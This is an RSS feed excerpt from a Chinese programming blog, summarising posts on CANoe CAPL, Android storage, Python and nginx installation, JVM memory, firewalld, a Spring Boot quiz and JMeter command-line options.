      <link>https://bchobby.github.io/posts/cda6f66a353285e60713a98bf5ea4ffc/</link>
      <pubDate>Thu, 21 Sep 2023 21:08:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cda6f66a353285e60713a98bf5ea4ffc/</guid>
      <description>关于CANoeIL层的capl用法 1、IL层简介2、capl用法示意用于控制节点向总线发送信号 1、IL层简介 IL即interaction layer，CAnoe的标准模型库将BUS在水平方向上，划分成三部分：IL（交互层）、NM（网络管理）、TP（传输协议）。在垂直方向上，划分成了三部分：CAN、FlexRay、Ethernet。IL层定义message 和signal的行为方式，比如什么时候发，发送周期是多少。&#xA;2、capl用法示意 用于控制节点向总线发送信号 在发送报文的节点中添加以下capl代码：&#xA;on preStart { ILControlInit();//CANoe IL init ILControlStop();//CANoe IL 停止发送报文 } 运行canoe可以发现该节点不再发送报文，去掉ILControlStop可以正常发报文在总线上。&#xA;也可以把stop()改为ILControlStart()也可以正常发送信号&#xA;总结这几个语句可以用于控制节点向总线发送信号。&#xA;ILControlInit();//CANoe IL init ILControlStop();//CANoe IL 停止发送报文 ILControlStart();//CANoe IL 开始发送报文 其他用法未完待续…</description>
    </item>
    <item>
      <title>android系统目录结构</title>
      <link>https://bchobby.github.io/posts/eb2570954699a72ad5103f56eab4caea/</link>
      <pubDate>Thu, 21 Sep 2023 20:48:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb2570954699a72ad5103f56eab4caea/</guid>
      <description> 文章目录 android系统目录结构问答偏好设置保存在哪里在应用设置中点击清除数据，清除的是什么在应用设置中点击清除缓存，清除的是什么 参考 android系统目录结构 / - system (一般只有root权限才能访问) - data - app （存放应用程序的 APK 文件） - data（内部存储） - &amp;lt;安装的应用包名&amp;gt; - app_textures - app_webview(webview缓存等) - app_webview_&amp;lt;进程名，如com.xxx.xxx:xxx&amp;gt;(多进程情况下) - cache （getCacheDir()） - code_cache - databases(数据库)&#x9;- files（getFilesDir()） - shared_prefs(偏好设置) - local&#x9;- sdcard(外部存储) - Android - data(应用私有目录) - &amp;lt;安装的应用包名&amp;gt; - ... - storage(外部存储，文件管理器里看到的就是这里，手机插上电脑看到的也是这里) - emulated - 0 - Android - data(应用私有目录) - &amp;lt;安装的应用包名&amp;gt; - ... - DCIM - Download - Pictures - Music - Movies - documents - self 从内部存储空间访问，可以使用 getFilesDir() 或 getCacheDir() 方法，这里可以保存一些少量又比较重要的数据从外部存储空间访问，可以使用 getExternalFilesDir() 或 getExternalCacheDir() 方法 问答 偏好设置保存在哪里 偏好设置保存在内部存储 /data/data/包名/shared_prefs目录下，以xml形式存在 在应用设置中点击清除数据，清除的是什么 会清除应用的内部存储和外部存储，也就是清除内外部data/data/包名下的所有文件 在应用设置中点击清除缓存，清除的是什么 会清除应用的内部存储和外部存储的缓存目录即cache目录 参考 应用数据和文件 | Android 开发者 | Android Developers(56条消息) 解析Android内部存储、外部存储的区别_hudawei996的博客-CSDN博客_android 内部存储和外部存储的区别(56条消息) 彻底理解android中的内部存储与外部存储_One-Heart的博客-CSDN博客_android内部存储和外部存储 </description>
    </item>
    <item>
      <title>JumpServer新增加windows终端web终端连接出现用户名或密码认证错误登录失败，账户密码确认是正确无误</title>
      <link>https://bchobby.github.io/posts/33da99947c51994d8e5f6d88c5ce686a/</link>
      <pubDate>Thu, 21 Sep 2023 17:54:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33da99947c51994d8e5f6d88c5ce686a/</guid>
      <description>环景：&#xA;Jumpserver Copyright FIT2CLOUD 飞致云 © 2014-2021&#xA;远程计算机：windows server 2019&#xA;问题描述：&#xA;JumpServer新增加windows终端连接出现用户名或密码认证错误，登录失败,账户密码确认是正确无误&#xA;解决方案： 1.windows计算机属性远程桌面-只允许使用网络级别…前面√去掉即可</description>
    </item>
    <item>
      <title>Java 格式化之使用 %02X 格式化mac地址</title>
      <link>https://bchobby.github.io/posts/3694b1e1942bf7274646323f572675e7/</link>
      <pubDate>Thu, 21 Sep 2023 16:59:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3694b1e1942bf7274646323f572675e7/</guid>
      <description>记录下使用 %02X 格式化mac地址的方法。&#xA;String.format 传入 %ABX 的意思，拆解如下，&#xA;%X ：正常输出十六进制数 。%AX：十六进制数，输出 A 位。如果本身大于 A 位，正常输出。%ABX：十六进制数，输出 A 位，不足 A 位就补 B 。如果本身大于 A 位，正常输出。 以 %X，%2X， %02X 为例，&#xA;%X：十六进制数正常输出 。%2X：十六进制数，输出 2 位。如果本身大于 2 位，正常输出。%02X ：十六进制数，输出 2 位，不足 2 位就补 0 。如果本身大于 2 位，正常输出。 可以同时格式化多个，格式化 mac 地址时很方便，&#xA;System.out.println(&#34;String.format(\&#34;%2X\&#34;, 15) :&#34; + String.format(&#34;%2X&#34;, 15)); System.out.println(&#34;String.format(\&#34;%02X\&#34;, 15) :&#34; + String.format(&#34;%02X&#34;, 15)); System.out.println(&#34;String.format(\&#34;%02X:%02X:%02X:%02X:%02X:%02X\&#34;, 10,11,12,13,14,15) :&#34; + String.format(&#34;%02X:%02X:%02X:%02X:%02X:%02X&#34;, 10,11,12,13,14,15)); 运行结果，&#xA;String.format(&#34;%2X&#34;, 15) : F String.format(&#34;%02X&#34;, 15) :0F String.</description>
    </item>
    <item>
      <title>Linux(Centos7)系统安装Python3.6.8</title>
      <link>https://bchobby.github.io/posts/e813011fbf05dd27aaa4f7ba0c8881f9/</link>
      <pubDate>Thu, 21 Sep 2023 15:15:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e813011fbf05dd27aaa4f7ba0c8881f9/</guid>
      <description>Linux(Centos7)系统安装Python3.6.8教程 tips: 系统自带的python2不要卸载，一些系统命令要用，2和3可以共存。&#xA;1、首先要查看系统中有没有自带的gcc gcc --version 2、通过wget命令下载并解压 wget https://www.python.org/ftp/python/3.6.8/Python-3.6.8.tgz tar -zxf Python-3.6.8.tgz -C /opt 3、安装依赖环境 首先说一下-devel 这个意思是软件包所对应的开发包，我们也可以看到我们所有的依赖都是软件包的开发包。zlib是一个运行库，zlib-devel包括运行库和头文件等，在需要编译C/C++程序的时候，python就会用到。&#xA;yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel libffi-devel 工具作用zlib-develzlib是一个提供数据压缩用的函式库，这个包主要功能就是控制处理器和内存，以此来达到压缩和解压缩的目的bzip2-devel与zlib一样是一个解压缩软件openssl加密通讯，python的一些网页框架服务会用到，包如其名使用的是ssl协议。是一个多用途、快平台的密码工具ncurses一个提供功能定义，屏幕绘制的图形互动动态库，vim就用到过这个包SQLite这个应该不陌生，轻型数据库readline提供交互式的文本编辑功能tk提供基本的可视化界面类似于swinggdbm提供简单的资料管理函数db4为客户端/服务器提供嵌入式数据库支持libpcap数据包捕获函数库，网络分接口收集数据，数据过滤器决定是否接受数据包xz具有高压缩率的数据压缩软件libffi提供了python调用其他语言的功能 4、编译安装 cd /opt/Python-3.6.8/ &amp;amp;&amp;amp; ./configure --prefix=/usr/local/python3 --enable-optimizations &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install ln -s /usr/local/python3/bin/python3 /usr/bin/python3 ln -s /usr/local/python3/bin/pip3 /usr/bin/pip3 If you want a release build with all stable optimizations active (PGO, etc), please run ./configure --enable-optimizations # 说明： 很多教程都有最后一步，但是很少有网站会告诉你为什么会有最后一步。 所谓软连接就相当于win下的快捷方式。你可以通过快捷方式打开你想要使用的软件。 但是为什么要把快捷方式放在/usr/bin/呢。这就涉及到环境变量的问题了， 你当然可以不使用最后的软连接而直接把/usr/local/python3/bin加到环境变量里面， 那随你喜好。但是在这里/usr/bin/是默认已经在环境变量里面的， 把快捷方式放到这个文件夹相当于间接的把该Python3加入环境变量， 这样你才可以直接在终端输入“python3”打开Python。 # 为什么不把软连接放到桌面呢？ 我觉得有两个原因：第一、无法在终端通过命令行操作Python3。第二、并不是所有的Linux系统都是图形化界面，可能没有桌面啊，亲！ 至于最后一句是为pip建立软件接。pip3是Python3内置的一个软件。用来安装Python包的。比如要安装Python3的numpy包。直接在终端使用如下命令即可： pip3 install requests 5、验证 [root@master Python-3.</description>
    </item>
    <item>
      <title>docker安装nginx</title>
      <link>https://bchobby.github.io/posts/3349abc9e5fffbf27ca541da7a475b5b/</link>
      <pubDate>Thu, 21 Sep 2023 15:14:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3349abc9e5fffbf27ca541da7a475b5b/</guid>
      <description>docker安装nginx 一，拉取nginx镜像 docker pull nginx:latest 启动临时镜像(后边要删除) docker run --name nginx01 -d -p 80:80 nginx 二，创建本地文件夹 sudo mkdir -p /mydata/nginx/{log,ssl,html,conf/conf.d} sudo chmod -R 755 /mydata/nginx/html 三，通过 docker cp 命令将容器内的 nginx 配置文件 copy 到刚创建的主机文件目录中 docker cp nginx01:/etc/nginx/nginx.conf /mydata/nginx/conf/nginx.conf docker cp nginx01:/etc/nginx/conf.d/default.conf /mydata/nginx/conf/conf.d/default.conf 四，停止并删除nginx01容器 docker stop nginx01 docker rm nginx01 五，启动镜像 docker run --name nginx -d --restart=always --privileged=true -v /mydata/nginx/html:/usr/share/nginx/html -v /mydata/nginx/conf/nginx.conf:/etc/nginx/nginx.conf -v /mydata/nginx/conf/conf.d/default.conf:/etc/nginx/conf.d/default.conf -v /mydata/nginx/log:/var/log/nginx -v /mydata/nginx/ssl:/ssl/ -p 443:443 -p 80:80 nginx 使用 --privileged=true 参数，容器内的 root 用户才拥有真正的 root 权限，否则容器内的 root 只是主机上的一个普通用户。</description>
    </item>
    <item>
      <title>caj转pdf</title>
      <link>https://bchobby.github.io/posts/70331c7daefdc81104864806c80fb2b9/</link>
      <pubDate>Thu, 21 Sep 2023 15:12:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70331c7daefdc81104864806c80fb2b9/</guid>
      <description>caj转pdf CAJ文件中国知网下载论文的一种.caj为后缀的文件，想要打开这种文件就必须下载知网的‘全球学术快报’或者CAJViewer软件。想要打开caj非常的麻烦。 caj2pdf是[github](https://link.zhihu.com/?target=https%3A//github.com/caj2pdf/caj2pdf)上的一个有1.7k star项目，是由github用户caj2pdf发布的，遵守GLWT开源许可的开源软件。项目地址：[https://github.com/caj2pdf/caj2pdf]() 本教程使用centos服务器。使用java操作caj转pdf（附代码） 一、代码获取 打开Github上caj2pdf网页，下载源代码文件caj2pdf.zip（通过git clone或者直接下载zip包）&#xA;2.解决依赖，caj2pdf至少需要3个依赖 Python 3.3+PyPDF2mutool 1.查看python版本,如果版本低于3.3，可跳转另一篇文章 http://www.123ou.top/blog/8&#xA;[root@xxx Python-3.6.8]# python3 -V Python 3.6.8 2.安装PyPDF2&#xA;sudo pip3 install PyPDF2 3.安装mutool&#xA;cd /usr/local #可自行选中安装目录 wget https://mupdf.com/downloads/archive/mupdf-1.20.3-source.tar.gz tar -zxvf mupdf-1.20.3-source.tar.gz cd mupdf-1.20.3-source make make install 安装编译mutool 报错 及解决方案见文章末尾&#xA;3.准备好环境，将下载的caj2pdf通过ftp上传到服务器。我是放在/usr/local目录下，可自行选中解压目录 cd /usr/local/caj2pdf/ ll 查看文件是否有执行（x）权限，没有权限的话执行以下&#xA;chmod +x caj2pdf chmod +x jbi* 再次查看文件权限&#xA;创建软连接&#xA;ln -s /usr/local/caj2pdf/caj2pdf /usr/bin/ 用法&#xA;# 打印文件基本信息（文件类型、页面数、大纲项目数） caj2pdf show [input_file] # 转换文件 caj2pdf convert [input_file] -o/--output [output_file] # 从 CAJ 文件中提取大纲信息并添加至 PDF 文件 ## 遇到不支持的文件类型或 Bug 时，可用 CAJViewer 打印 PDF 文件，并用这条命令为其添加大纲 caj2pdf outlines [input_file] -o/--output [pdf_file] 示列</description>
    </item>
    <item>
      <title>day07</title>
      <link>https://bchobby.github.io/posts/2b8c78ed9c421983513efbcf7cb215e1/</link>
      <pubDate>Thu, 21 Sep 2023 14:47:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b8c78ed9c421983513efbcf7cb215e1/</guid>
      <description>1、数据库连接池原理&#xA;JavaWeb 数据库连接池是一种管理数据库连接的机制。它通过创建一组初始化的数据库连接，在需要时将连接分配给应用程序，并在使用后将其归还给连接池，以便重复使用。 数据库连接池的原理如下： 1. 初始化连接池：在应用程序启动时，创建一定数量的数据库连接，并将它们保存在连接池中。这些连接可以使用数据库驱动程序的特定API进行创建。 2. 连接分配：当应用程序需要与数据库交互时，从连接池中获取一个可用连接。 3. 连接使用：应用程序使用获取的连接执行数据库操作。 4. 连接归还：当应用程序使用完连接后，将其归还给连接池。归还连接时，可以通过关闭连接或重置连接的状态来确保连接处于可重用状态。 5. 连接池管理：连接池负责管理连接的状态和数量。它监控连接的使用情况，并根据需要创建新的连接或关闭闲置的连接。 数据库连接池的好处包括： 1. 提高性能：数据库连接的创建和关闭是一项昂贵的操作。使用连接池可以避免频繁的创建和关闭连接，提高数据库访问的性能。 2. 资源管理：连接池可以根据应用程序的需求和资源的可用性来管理连接数量，防止资源浪费。 3. 连接重用：连接池允许连接被重复使用，减少了连接的创建和关闭次数，提高了应用程序的响应速度。 总结起来，通过使用数据库连接池，JavaWeb 应用程序可以更高效地管理数据库连接，提高应用程序的性能和可扩展性。 当应用程序需要与数据库进行交互时，通常需要创建一个数据库连接来执行相关的操作。然而，频繁地创建和关闭连接会给数据库服务器带来不必要的开销和性能问题。为了解决这个问题，引入了数据库连接池，其原理如下： 1. 连接初始化：在应用程序启动时，连接池会初始化一定数量的数据库连接，这些连接处于可用状态并保存在连接池中。 2. 连接获取：当应用程序需要数据库连接时，它可以从连接池中获取一个可用的连接。连接池会管理这些连接的状态，标记哪些连接是可用的，哪些连接正在被使用。 3. 连接复用：应用程序使用连接执行数据库操作，包括查询、插入、更新等。当操作完成后，应用程序会将连接返回给连接池，而不是直接关闭连接。这样做的好处是，这些连接可以被其他需要连接的应用程序复用，而不必重新创建连接。 4. 连接回收：连接池会监控连接的使用情况。如果连接长时间未被使用（闲置状态），连接池会将其关闭以节省资源。同时，连接池还可以根据需要动态地创建新的连接，以满足应用程序对连接的需求。 5. 资源管理：连接池还负责管理连接的数量和使用情况。它可以限制连接的最大数量，并根据需求动态调整连接池的大小，以充分利用系统资源。 通过使用数据库连接池，可以减少创建和关闭连接的开销，提高数据库访问的效率和性能。连接池可以更好地管理连接资源，避免连接的过度创建和销毁，同时提供连接的复用和动态调整，适应不同应用的需求。这样，应用程序可以更高效地与数据库进行交互，提升整体系统的性能和可伸缩性。 2、LambdaQueryWrapper表达式&#xA;LambdaQueryWrapper 是 MyBatis-Plus 框架提供的一个查询条件封装类，用于构建 SQL 查询条件。&#xA;它可以通过 Lambda 表达式来定义查询条件，提供了一种更简洁、易读的方式来编写数据库查询。&#xA;使用 LambdaQueryWrapper 需要以下步骤：&#xA;导入相关的包： import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; 创建 LambdaQueryWrapper 对象： LambdaQueryWrapper&amp;lt;DishFlavor&amp;gt; queryWrapper=new LambdaQueryWrapper&amp;lt;&amp;gt;(); 添加查询条件： queryWrapper.eq(Entity::getField, value); // 相等条件 queryWrapper.ne(Entity::getField, value); // 不等条件 queryWrapper.like(Entity::getField, value); // 模糊查询条件 queryWrapper.</description>
    </item>
    <item>
      <title>Cinema 4D R2024(c4d2024)</title>
      <link>https://bchobby.github.io/posts/b0a06473ff821f81d760e573c1a36bb4/</link>
      <pubDate>Thu, 21 Sep 2023 11:48:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0a06473ff821f81d760e573c1a36bb4/</guid>
      <description>Cinema 4D 2024是一款专业的三维建模、动画和渲染软件。被广泛用于电影制作、广告设计、工业设计等领域。&#xA;Cinema 4D 2024具有强大的建模工具，可以创建各种复杂的几何体，包括多边形网格、NURBS曲线和体积对象。它还提供了丰富的材质和纹理编辑功能，使用户能够为模型添加逼真的表面效果。&#xA;该软件还具备出色的动画功能，支持关键帧动画、物理模拟和粒子系统等特效。用户可以通过简单的操作设置对象的运动路径、变形效果和相机视角，实现令人惊叹的动画效果。&#xA;在渲染方面，Cinema 4D 2024提供了高质量的渲染引擎，能够产生逼真的光照和阴影效果。用户可以选择不同的渲染选项，包括标准渲染器、物理渲染器和第三方插件，以满足不同项目的需求。&#xA;此外，Cinema 4D 2024还支持与其他设计软件的集成，如Adobe After Effects、Photoshop和Illustrator等。这使得用户可以轻松地将Cinema 4D中创建的模型和动画与其他软件进行无缝衔接，实现更复杂的设计效果。&#xA;总的来说，Cinema 4D 2024是一款功能强大、易于学习和使用的三维建模和动画软件，适用于各种创意设计项目。无论您是专业设计师还是初学者，都可以通过Cinema 4D实现令人惊叹的视觉效果。&#xA;Cinema 4D R2024(c4d2024)</description>
    </item>
    <item>
      <title>JVM内存模型剖析</title>
      <link>https://bchobby.github.io/posts/f6e4c3967972352ba3a8eb950151a7b8/</link>
      <pubDate>Wed, 20 Sep 2023 23:45:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6e4c3967972352ba3a8eb950151a7b8/</guid>
      <description>JDK体系结构 Java语言的跨平台特性 JVM内存模型 Java虚拟机内部分成三部分：类装载子系统，运行时数据区（内存模型），字节码执行引擎。&#xA;运行时数据区包含有：本地方法栈，线程栈，堆，方法区（元空间），程序计数器。&#xA;线程栈：开辟一个内存空间用来存放线程的，一个线程若对应有多个方法，每个方法会对应在内存空间中分配一个小区域栈贞给到方法，&#xA;每个栈贞中会存放：局部变量，操作数栈（方法内部的操作在该栈执行），动态连接（方法内部调用其他方法时，指向被调用方法的真实存放地址），方法出口。&#xA;程序计数器：每个线程在执行的过程中，方法执行的每一步都会有程序计数器进行计数标记，而字节码执行引擎就是动态修改程序计数器计数的。&#xA;堆：用于存放新创建的对象，其中线程栈中存放有该新创建对象的引用地址&#xA;方法区（元空间）：存放的是，静态变量，类信息，其中方法区中也存放有新创建对象的引用地址。&#xA;本地方法栈：主要是调用本地方法的从而分配内存空间，本地方法主要是与C语言交互的常量&#xA;注意：其中堆和方法区（元空间）是所有线程共享的内存，&#xA;eg:&#xA;以上代码运行后，可看到java所谓的汇编语言结果：此处需要参照JVM指令手册&#xA;堆内存分配： 年轻代和老年代的占比=1:2&#xA;年轻代：包含有Eden区和survior区（s0,s1）占比是(Eden:s0:s1=8:1:1)&#xA;Minor gc : 主要是回收年轻代区域的内存。&#xA;Fullgc: 主要回收所有区域的内存，在进行fullgc是会进行stw（stop the work）操作,停止用户线程&#xA;JVM内存参数设置 Spring Boot程序的JVM参数设置格式(Tomcat启动直接加在bin目录下catalina.sh文件里)： java ‐Xms2048M ‐Xmx2048M ‐Xmn1024M ‐Xss512K ‐XX:MetaspaceSize=256M ‐XX:MaxMetaspaceSize=256M ‐jar microservice‐eurek a‐server.jar 关于 元空间的JVM参数 有两个： -XX:MetaspaceSize=N和 -XX:MaxMetaspaceSize=N -XX：MaxMetaspaceSize： 设置元空间最大值， 默认是-1， 即不限制， 或者说只受限于本地内存大小。 -XX：MetaspaceSize： 指定元空间触发Fullgc的初始阈值(元空间无固定初始大小)， 以字节为单位， 默认是21M ，达到该值就会触发 full gc进行类型卸载， 同时收集器会对该值进行调整： 如果释放了大量的空间， 就适当降低该值； 如果释放了很少的空间， 那么在不超过-XX：MaxMetaspaceSize（如果设置了的话） 的情况下， 适当提高该值。 这个跟早期jdk版本的-XX:PermSize参数意思不一样，- XX:PermSize 代表永久代的初始容量。 由于调整元空间的大小需要Full GC，这是非常昂贵的操作，如果应用在启动的时候发生大量Full GC，通常都是由于永久代或元空间发生 了大小调整，基于这种情况， 一般建议在JVM参数中将MetaspaceSize和MaxMetaspaceSize设置成一样的值 ，并设置得比初始值要大， 对于8G物理内存的机器来说，一般我会将这两个值都设置为256M。 StackOverflowError示例： // JVM设置 ‐Xss128k(默认1M) public class StackOverflowTest { static int count = 0; static void redo() { count++; redo(); } public static void main(String[] args) { try { redo(); } catch (Throwable t) { t.</description>
    </item>
    <item>
      <title>Python 逢7拍手游戏的规则是：从1开始顺序数数，数到有7或者包含7的倍数的时候拍手</title>
      <link>https://bchobby.github.io/posts/7463acabdc829917537f05cfa2de607d/</link>
      <pubDate>Wed, 20 Sep 2023 20:08:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7463acabdc829917537f05cfa2de607d/</guid>
      <description>当您使用 PyCharm 编写程序时，可以按照以下规则实现“逢7拍手游戏”：&#xA;在这段代码中，我们定义了一个名为 `clap_game()` 的函数，它接受一个参数 `max_num`，用来指定游戏数数的最大值。在函数体内，我们使用 `for` 循环遍历从 1 到 `max_num` 的所有数字。&#xA;对于每个数字，我们首先检查它是否是 7 的倍数，通过 `num % 7 == 0` 来进行判断。如果是，我们打印出 &#34;Clap!&#34; 表示拍手。否则，我们将数字转换为字符串，然后检查是否包含 &#39;7&#39;，通过 `&#39;7&#39; in str(num)` 来进行判断。如果包含 &#39;7&#39;，同样打印出 &#34;Clap!&#34; 表示拍手。如果都不满足，我们直接打印出数字本身。&#xA;最后，在主程序中，我们选择将游戏数数的最大值设为 100，并调用 `clap_game()` 函数来开始运行游戏。你可以根据需要修改 `max_number` 的值。&#xA;在运行这段代码后，程序将按照规则进行数数，并在满足条件时拍手，打印出相应的结果。</description>
    </item>
    <item>
      <title>Python变量的命名规范以及运算符</title>
      <link>https://bchobby.github.io/posts/ace4344a8a9c17bc3c96b22c3e4c3211/</link>
      <pubDate>Wed, 20 Sep 2023 20:04:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ace4344a8a9c17bc3c96b22c3e4c3211/</guid>
      <description>问题一：python变量的命名规范&#xA;Python变量的命名规范是指对变量名的命名规则和规范。在Python中，变量名必须以字母或下划线开头，可以包含字母、数字和下划线。变量名是区分大小写的，不同的大小写视为不同的变量名，且不能使用Python关键字作为变量名。建议使用一种风格来命名变量，例如采用下划线分隔的小写字母命名法（snake_case），或首字母大写的驼峰命名法（CamelCase）等。变量名应具有描述性，并且能够清晰地表达变量的含义。&#xA;问题二：Python中的运算符&#xA;Python中的运算符是用来进行各种数学和逻辑运算的符号或特殊字符。常用的运算符有算术运算符、赋值运算符、比较运算符、布尔运算符和位运算符。算术运算符用于执行基本的数学运算，例如加法、减法、乘法和除法等。赋值运算符用于给变量赋值。比较运算符用于比较两个值的大小关系，并返回布尔值True或False。布尔运算符用于执行逻辑运算，例如与运算、或运算和非运算等。位运算符用于对二进制数进行位操作，例如位与、位或和位非等。在Python中，运算符的使用可以通过运算符优先级和结合性来确定运算的顺序</description>
    </item>
    <item>
      <title>防火墙之firewall配置</title>
      <link>https://bchobby.github.io/posts/1f8e8bb4a9a2f55b460c38f91a7c0d13/</link>
      <pubDate>Wed, 20 Sep 2023 17:12:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f8e8bb4a9a2f55b460c38f91a7c0d13/</guid>
      <description>firewall ​ CentOS 7中防火墙已经由firewalld来管理，Centos7默认安装了firewalld。&#xA;与iptables区别 iptables 仅能通过命令行进行配置；而 firewalld 提供了图形接口，类似windows防火墙的操作方式；iptables 每一个单独更改意味着清除所有旧的规则，并从 /etc/sysconfig/iptables 中读取所有新的规；则；而 firewalld 在有规则变动后，可以仅仅运行规则中的不同之处，即在 firewalld 运行时间内，改变设置时可以不丢失现行链接；iptables 的配置文件在 /etc/sysconfig/iptables 中；而 firewalld 的配置文件在 /usr/lib/firewalld/ 和 /etc/firewalld/ 中的各种 XML 文件中；iptables 没有守护进程，并不能算是真正意义上的服务；而 firewalld 有守护进程；iptables 通过控制端口来控制服务，而 firewalld 则是通过控制协议来控制端口；firewalld默认是拒绝；而iptables默认是允许。 firewall 服务 # 查看服务状态 service firewalld status systemctl status firewalld firewall-cmd --state # 启动 service firewalld start systemctl start firewalld # 重启 service firewalld restart systemctl start firewalld # 关闭 service firewalld stop # 重新加载 firewall-cmd --reload&#x9;# 每次修改规则、配置后，需要重新加载使其生效！ 开机启动 # 设置开机启动 systemctl enable firewalld # 停止并禁用开机启动 systemctl disable firewalld firewalld区域与配置规则 ​ 宽松模式:：trusted ，单独拒绝的源ip地址写入block，适合于拒绝的少，允许的多的应用场景：</description>
    </item>
    <item>
      <title>OriginPro 调整坐标轴</title>
      <link>https://bchobby.github.io/posts/0cda1807f5f9987e5fb53bace2982ece/</link>
      <pubDate>Wed, 20 Sep 2023 16:15:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cda1807f5f9987e5fb53bace2982ece/</guid>
      <description>1.移动坐标轴 通常OriginPro作图的时候，坐标轴位置是比较固定的，x轴在最左边，y轴在最下边，但是有时候计算结果的y值比较对称，这时候我们就想把x轴移动到y轴中间位置处，&#xA;实际上我们可以单击坐标轴然后 上下键就可以移动，但是有时候不一定能准确移动到指定位置，这时候，可以双击坐标轴找到 line and Ticks --&amp;gt; line --&amp;gt;Axis Postion，选择 at position 就可以准确的移动x轴了。&#xA;2.拉伸坐标轴 如下图，如果想要把x轴变得很窄，&#xA;可以单击图片正中，出现了如图所示的框就可以自由拉伸了，&#xA;3.固定坐标轴长度比例 双击图片，size/speed --&amp;gt; Link Anix length to Scale 前面 的勾选即可。</description>
    </item>
    <item>
      <title>Spring Boot基础 习题【附答案解析】1</title>
      <link>https://bchobby.github.io/posts/95325a468cbc7fea0c253804828adbd6/</link>
      <pubDate>Wed, 20 Sep 2023 16:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95325a468cbc7fea0c253804828adbd6/</guid>
      <description>一.单选题（共16题,55.0分） 1 在web.xml文件中配置Spring框架,下面配置正确的是?（3.5分）&#xA;A、&amp;lt;context-param&amp;gt;&#xA;&amp;lt;param-name&amp;gt;contextConfig&amp;lt;/param-name&amp;gt;&#xA;&amp;lt;param-value&amp;gt;/WEB-INF/classes/applicationContext.xml&amp;lt;/param-value&amp;gt;&#xA;&amp;lt;/context-param&amp;gt;B、&amp;lt;context-param&amp;gt;&#xA;&amp;lt;param-name&amp;gt;contextConfigLocation&amp;lt;/param-name&amp;gt;&#xA;&amp;lt;param-value&amp;gt;/WEB-INF/classes/applicationContext.xml&amp;lt;/param-value&amp;gt;&#xA;&amp;lt;/context-param&amp;gt;C、&amp;lt;context-param&amp;gt;&#xA;&amp;lt;param-name&amp;gt;servletConfig&amp;lt;/param-name&amp;gt;&#xA;&amp;lt;param-value&amp;gt;/WEB-INF/classes/applicationContext.xml&amp;lt;/param-value&amp;gt;&#xA;&amp;lt;/context-param&amp;gt;D、&amp;lt;context-param&amp;gt;&#xA;&amp;lt;param-name&amp;gt;config&amp;lt;/param-name&amp;gt;&#xA;&amp;lt;param-value&amp;gt;/WEB-INF/classes/applicationContext.xml&amp;lt;/param-value&amp;gt;&#xA;&amp;lt;/context-param&amp;gt; 我的答案： B得分： 3.5分&#xA;2 下列哪个Spring模块提供了IoC容器和依赖注入的基本功能?（3.4分）&#xA;A、Spring SecurityB、Spring MVCC、Spring DataD、Spring Core 我的答案： D得分： 3.4分&#xA;答案解析：&#xA;Spring Core是Spring框架的核心模块,提供了IoC容器和依赖注入的基本功能。&#xA;3 在Spring中，@Qualifier注解的主要作用是什么？（3.5分）&#xA;A、 指定Bean的作用域&#xA;B、 启用事务管理&#xA;C、 限定注入的Bean名称&#xA;D、 定义Bean的初始化方法&#xA;我的答案： C得分： 3.5分&#xA;答案解析：&#xA;@Qualifier注解的主要作用是限定注入的Bean名称，当多个相同类型的Bean存在时，可以通过@Qualifier注解指定要注入的Bean的名称。&#xA;4 在Spring中,哪个注解用于在配置类中定义一个Bean?（3.4分）&#xA;A、 @Service&#xA;B、 @Component&#xA;C、 @Autowired&#xA;D、 @Bean&#xA;我的答案： D得分： 3.4分&#xA;答案解析：&#xA;@Bean注解用于在配置类中定义一个Bean。&#xA;5 Spring框架的主要目标是什么?（3.4分）&#xA;A、简化Java应用程序的开发B、增加应用程序的复杂性C、降低应用程序的可维护性D、加速应用程序的执行速度 我的答案： A得分： 3.4分&#xA;答案解析：</description>
    </item>
    <item>
      <title>Jmeter-非GUI命令行模式详解</title>
      <link>https://bchobby.github.io/posts/bc75e67678eaf59cc1937219453f775b/</link>
      <pubDate>Wed, 20 Sep 2023 15:45:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc75e67678eaf59cc1937219453f775b/</guid>
      <description>1.背景说明： JMeter执行方式有两种，一种是GUI模式，一种是非GUI模式。&#xA;GUI模式就是界面模式，非GUI模式就是命令行模式。GUI模式主要用来编写和调试脚本用的，接口的性能测试最好是采用命令行模式，因为该模式可以和其它框架进行对接，进行自动化测试平台的集成。&#xA;2.应用场景 无需交互界面或受环境限制（图形化界面消耗更多资源，如CPU和内存，容易使压力机达到瓶颈，从而影响测试结果）远程或分布式执行（同时生成更多的压力请求，达到客户端能模拟大并发请求的目的）持续集成，通过shell脚本或批处理命令把脚本配置到Jenkins上实现持续集成，生成的测试结果可被报表生成模块直接使用，便于生成报告 3.优点 节约系统资源：无需启动界面，节约系统资源便捷快速：仅需启动命令行，输入命令便可执行易于持续集成：可通过shell脚本命令执行 4.参数详解 --? 打印命令行选项并退出 -h, --help 打印使用信息并退出 -v, --version 打印版本信息并退出 -p, --propfile &amp;lt;参数&amp;gt; 要使用的 jmeter 属性文件 -q, --addprop &amp;lt;参数&amp;gt; 额外的 JMeter 属性文件 -t, --testfile &amp;lt;参数&amp;gt; 要运行的 jmeter 测试（.jmx）文件 -l, --logfile &amp;lt;参数&amp;gt; 将样本记录到的文件 -i, --jmeterlogconf &amp;lt;参数&amp;gt; jmeter 日志配置文件（log4j2.xml） -j, --jmeterlogfile &amp;lt;参数&amp;gt; jmeter 运行日志文件 (jmeter.log) -n, --nongui 在 nongui 模式下运行 JMeter -s, --server 运行 JMeter 服务器 